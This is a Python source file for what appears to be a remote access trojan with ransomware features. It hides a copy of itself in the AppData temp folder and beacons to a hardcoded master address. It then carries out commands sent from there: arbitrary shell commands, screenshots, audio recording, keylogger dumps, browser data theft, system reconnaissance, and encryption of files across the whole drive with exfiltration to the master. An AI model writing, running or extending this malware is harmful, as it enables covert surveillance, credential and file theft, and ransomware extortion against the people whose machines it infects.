agent.py

import getpass
import os
import socket
import sys
import threading
import time
import traceback
from tools.browsers import BrowserDataExtractor
from tools.code_execution import run_cmd_command
import concurrent.futures
import logging as log
from tools.common_func import fmt_addr, version_info, SocketBridge, try_close, split_host, configure_logging
from tools.files import FileHandler
from tools.output_capture import OutputCapture
from tools.privileges import Privileges
from tools.reproduction import Reproduction
from tools.senses import Senses
from tools.system_info_retriever import System
from tools.keylog import KeyLog
from tools.walker import Walker

my_public_ip = "192.168.1.107:5555"

testing = True

output_capture = OutputCapture()

sys.stdout = output_capture


class Agent(object):

    def __init__(self, communicate_addr, target_addr):
        # Run these first to hide itself
        self.reproduction = Reproduction()
        self.reproduction.copy_self_to_temp()

        self.communicate_addr = communicate_addr
        self.target_addr = target_addr
        self.user = getpass.getuser()
        self.privileges = Privileges()
        self.keylog = KeyLog()
        self.senses = Senses()
        self.walker = Walker()
        self.system = System()
        self.file_handler = FileHandler()
        self.socket_bridge = SocketBridge()
        self.browsers = BrowserDataExtractor()
        self.spare_agent_pool = {}
        self.last_command = ""

    def remove_agent_from_pool(self, addr_agent):
        try:
            conn_agent = None
            for agent in self.spare_agent_pool:
                conn_agent = agent['conn_agent']
                if conn_agent == addr_agent:
                    break

            if conn_agent is not None:
                conn_agent.close()
                del self.spare_agent_pool[conn_agent]
                print(f"Agent {addr_agent} removed from the pool and connection closed.")
            else:
                print(f"Agent {addr_agent} not found in the pool.")
        except Exception as e:
            print(f"Error removing Agent {addr_agent} from the pool: {e}")

    def _connect_master(self):
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect(self.communicate_addr)

        # Get the path of the running executable
        exe_path = sys.executable

        # Get the temp directory in appdata
        temp_dir = os.path.join(os.getenv('APPDATA'), 'temp')

        # Check if the executable is already in the appdata folder
        if not exe_path.startswith(temp_dir):
            sock.send(self.user.encode('utf-8'))
        else:
            sock.send("limited".encode('utf-8'))

        self.spare_agent_pool[sock.getsockname()] = {
            "conn_agent": sock,
            "can_beat": True,
            "last_heartbeat_time": time.time()
        }

        return sock

    def _transfer_complete(self, addr_agent):
        """a callback for SocketBridge, do some cleanup jobs"""
        pair = self.spare_agent_pool.pop(addr_agent)
        try_close(pair['conn_agent'])
        log.info(f"Agent: {addr_agent} finished its job and disconnected. A new agent will connect soon.")

    def execute_command(self, command, actual_conn):
        print(f"Agent: {actual_conn.getsockname()} is executing command: {command}")

        # Start a new thread for each command
        command_thread = threading.Thread(target=self._execute_command_in_thread, args=(command, actual_conn))
        command_thread.start()

    def _execute_command_in_thread(self, command, actual_conn):

        self.last_command = command

        # Define a dictionary to map commands to functions
        command_handlers = {
            "OK": self._handle_ok,
            "screenshot": self.senses.see_screen,
            "audio": self.senses.hear_audio,
            "keys": self.keylog.dump_keys,
            "browsers": self.browsers.dump_sensible_data,
            "info": self._handle_info,
        }

        try:
            if command in command_handlers:
                # Call the corresponding handler function
                command_handlers[command](self, actual_conn)

            elif command.startswith("cmd╚"):
                final_command = command.replace("cmd╚", "")
                self._handle_command(final_command, actual_conn)

            elif command.startswith("encrypt╚"):
                self._handle_encryption(command, actual_conn)

        except Exception as e:
            print(f"Exception {e}")

        captured_output = output_capture.output
        captured_output.clear()

    def _handle_ok(self, _, actual_conn):
        print(f"Agent: {actual_conn.getsockname()} is enabling heartbeat after: {self.last_command}")
        self.spare_agent_pool[actual_conn.getsockname()]['can_beat'] = True
        self._transfer_complete(actual_conn.getsockname())

    @staticmethod
    def _handle_command(final_command, actual_conn):
        output_command = run_cmd_command(final_command)

        if output_command == "\n" or output_command == "":
            output_command = "ERROR: SENDING COMMAND FAILED... MAYBE COMMAND IS WRONG\n"

        output_command += "\n End of Output."

        output_command_size = len(output_command.encode('utf-8'))

        # Send the output size and output string
        actual_conn.send(str(output_command_size).encode('utf-8'))
        time.sleep(0.1)
        actual_conn.send(output_command.encode('utf-8'))

    def _handle_info(self, _, actual_conn):
        infos = ''
        infos += self.system.get_ip_location()
        infos += self.system.talked_to_these_ips()
        infos += self.system.get_system_info()
        infos_size = len(infos)

        # Send the output size and output string
        actual_conn.send(str(infos_size).encode('utf-8'))
        time.sleep(0.1)
        actual_conn.send(infos.encode('utf-8'))

    def _handle_encryption(self, command, actual_conn):
        command_clean = command.replace("encrypt╚", "")
        command_clean = command_clean.split("╚")
        password_clean = command_clean[0]
        save_files = True if command_clean[1] == "True" else False
        encrypt = True if command_clean[2] == "True" else False
        decrypt = True if command_clean[3] == "True" else False
        password = b'' + password_clean.encode('utf-8')
        print(f"Received encryption key: {password}")
        print(f"Retrieve Files: {save_files}")
        print(f"Is encryption process: {encrypt}")
        print(f"Is decryption process: {decrypt}")
        print("Starting lookup on C:/..")
        self.walker.walk(os.path.abspath(os.sep), password, self, actual_conn, encrypt=encrypt,
                         decrypt=decrypt, save_files=save_files)

    def send_file_to_master(self, conn, filename, file_data):
        try:
            print(f"Agent: {conn.getsockname()} is sending {filename}")

            captured_output = output_capture.output
            output_string = ''.join(captured_output)

            # Get the size of the output string and file data
            output_size = len(output_string.encode('utf-8'))

            # Send the output size and output string
            conn.send(str(output_size).encode('utf-8'))
            self.file_handler.send_data_with_timeout(conn, output_string.encode('utf-8'))

            if filename == "encrypt_done":
                conn.send("encrypt_done".encode('utf-8'))
                return

            if filename == "error":
                conn.send("error".encode('utf-8'))
                return

            file_size = len(file_data)

            file_and_size = f'{str(file_size)}§{filename}'

            conn.send(file_and_size.encode('utf-8'))

            # this is extremely needed
            time.sleep(0.2)

            # Send the data packet to the master using send_data_with_timeout
            self.file_handler.send_data_with_timeout(conn, file_data)

            print(f'Agent: {conn.getsockname()} has successfully sent {filename}')

        except Exception as e:
            print(f"Agent: {conn.getsockname()} failed to send file to master: {e}")
            self.remove_agent_from_pool(conn)

    def clean_up_connection(self, conn_agent, addr_agent):
        try:
            try_close(conn_agent)
            try_close(addr_agent)
            del self.spare_agent_pool[addr_agent]
        except OSError:
            pass

    @staticmethod
    def _non_blocking_recv(conn, buffer_size, timeout=1):
        conn.settimeout(timeout)
        try:
            data = conn.recv(buffer_size)
            return data.decode().strip()
        except socket.timeout:
            return ""

    def receive_command(self, conn_agent, addr_agent, can_receive_heartbeat, last_heartbeat_time):
        # Set the buffer size according to your protocol requirements
        buffer_size = 1024

        # Receive the command from the agent machine (non-blocking)
        command = self._non_blocking_recv(conn_agent, buffer_size)
        # print(f"Command: {command}")

        if not can_receive_heartbeat and command == "heartbeat":
            return

        if command == "" and time.time() - last_heartbeat_time > 10 and can_receive_heartbeat:
            print(f"Agent: {addr_agent} don't received heartbeat, closing it")
            self.clean_up_connection(conn_agent, addr_agent)

        if command == "" and time.time() - last_heartbeat_time > 300:
            print(f"Agent: {addr_agent} don't received heartbeat in a long time, master is off, closing it")
            self.clean_up_connection(conn_agent, addr_agent)

        elif command == "heartbeat":
            # print(f"Agent: {addr_agent} - Received heartbeat")
            conn_agent.send("heartbeat".encode('utf-8'))
            # time.sleep(0.01)
            self.spare_agent_pool[addr_agent]['last_heartbeat_time'] = time.time()

        return command

    def _agent_working(self, conn_agent):
        addr_agent = conn_agent.getsockname()
        _ = conn_agent.getpeername()
        while True:

            # ----------- receive command from agent machine ----------
            try:
                can_receive_heartbeat = self.spare_agent_pool[addr_agent]['can_beat']
                last_heartbeat_time = self.spare_agent_pool[addr_agent]['last_heartbeat_time']

                command = self.receive_command(conn_agent, addr_agent, can_receive_heartbeat, last_heartbeat_time)

            except OSError:  # should be WindowsError, will try and see if anything breaks
                # log.error("Failed to receive command from agent machine. Closing the agent and opening a new one.")
                self.clean_up_connection(conn_agent, addr_agent)
                return

            # ----------- process the received command ----------
            try:
                if command != "heartbeat" and command != "":
                    log.info(f"Agent: {conn_agent.getsockname()} is executing command: {command}")
                    self.spare_agent_pool[addr_agent]['can_beat'] = False
                    print(f"Agent: {conn_agent.getsockname()} is disabling heartbeat to execute: {command}")
                    self.execute_command(command, conn_agent)  # Modify this line with your command processing logic
            except Exception as e:
                log.error(f"Failed to process command: {e}")

    def serve_forever(self):
        self.socket_bridge.start_as_daemon()  # hi, don't ignore me

        err_delay = 0
        max_err_delay = 15
        spare_delay = 0.08
        default_spare_delay = 0.08

        # Calculate the number of worker threads based on 50% of available CPU cores
        max_workers = max(1, os.cpu_count() // 2)

        with concurrent.futures.ThreadPoolExecutor(max_workers=max_workers) as executor:
            while True:
                if len(self.spare_agent_pool) >= max_workers:
                    time.sleep(spare_delay)
                    spare_delay = (spare_delay + default_spare_delay) / 2.0
                    continue
                else:
                    spare_delay = 0.0

                try:
                    conn_agent = self._connect_master()
                except Exception as e:
                    log.warning("unable to connect master {}".format(e), exc_info=True)
                    time.sleep(err_delay)
                    if err_delay < max_err_delay:
                        err_delay += 1
                    continue

                try:
                    executor.submit(self._agent_working, conn_agent)
                    log.info("connected to master[{}] at {} total: {}".format(
                        fmt_addr(conn_agent.getpeername()),
                        fmt_addr(conn_agent.getsockname()),
                        len(self.spare_agent_pool),
                    ))
                except Exception as e:
                    log.error("unable to submit agent thread: {}".format(e))
                    log.debug(traceback.format_exc())
                    time.sleep(err_delay)

                    if err_delay < max_err_delay:
                        err_delay += 1
                    continue

                err_delay = 0


def main_agent(master, target):

    master_addr = split_host(master)
    target_addr = split_host(target)

    level = log.INFO
    configure_logging(level)

    log.info("shootback {} agent running".format(version_info()))
    log.info("Master: {}".format(fmt_addr(master_addr)))
    log.info("Target: {}".format(fmt_addr(target_addr)))
    log.info("running as agent, master addr: {} target: {}".format(
        fmt_addr(master_addr), fmt_addr(target_addr)
    ))

    Agent(master_addr, target_addr).serve_forever()


main_agent(my_public_ip, "127.0.0.1:22")